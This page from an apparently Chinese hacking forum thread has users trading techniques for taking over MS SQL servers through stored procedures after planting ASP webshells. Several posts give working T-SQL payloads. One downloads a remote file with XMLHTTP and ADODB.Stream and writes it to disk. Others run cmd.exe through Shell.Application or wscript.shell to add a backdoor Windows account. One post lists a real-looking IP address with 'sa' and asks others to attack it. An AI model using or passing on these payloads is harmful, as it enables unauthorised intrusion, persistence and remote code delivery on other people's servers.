39 12
发新话题
打印

[原创]用存储过程一样搞定服务器

我晕了楼上,明明看到你写了一个asp小马上去了,不会用你的asp小马传dll上去呀。不要告诉我你搞的是web与data分离的。

TOP

我晕了楼上 你看到写了一句话上去难道没看到一句话什么权限都没有么?
www.hack521.cn

TOP

哈哈。... 直接用 Command.com 执行吧...
呵呵,Just hacking ..

TOP

引用:
引用第27楼伤心的鱼于2007-12-05 10:15发表的 :
我晕了楼上 你看到写了一句话上去难道没看到一句话什么权限都没有么?
文章明明提到是web目录没有写权限,没法写进大马。并不是一句话什么权限都没有。非要用一句话写大马干嘛。搞不明白。用海阳c端提交你的小马,肯定可以找到某个可写的目录(实在找不到没话可说),然后上传dll,这个dll你非要传到web目录下?

TOP

218.21.242.227 sa 麻烦那位看下,和楼主情况一样

TOP

可能我没说清楚 事实证明任何盘都没写权限 至于dll 不一定要传在WEB目录但是没有目录可写。
www.hack521.cn

TOP

;DECLARE @B varbinary(8000),@hr int,@http INT,@down INT
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[%http%],0
EXEC @hr = sp_oamethod @http,[Send],null
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output
EXEC @hr=sp_oacreate [ADODB.Stream],@down output
EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[%save%],1

TOP

hege的下载是0字节,不能用。
另:
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user lhn 123 /add ','c:\windows\system32','',1;

TOP

猪三同学是对的

ps

沙盒模式你也得先reg_write下吧
绕大弯了

TOP

沙盒模式都没开启。
SandBoxMode 1

TOP

DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'd:\xxxxx\cmd.exe /c d:\xxxx\net user gydyhook hook /add'
正好练练手
谢谢猪三哥的提醒...

楼猪虽然走了弯路,但精神可嘉..谢谢各位大哥的赐教

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

我也收获不浅
仗剑独走天涯,试问谁与争锋!

TOP

版本还是很理解数据库的

TOP

 39 12
发新话题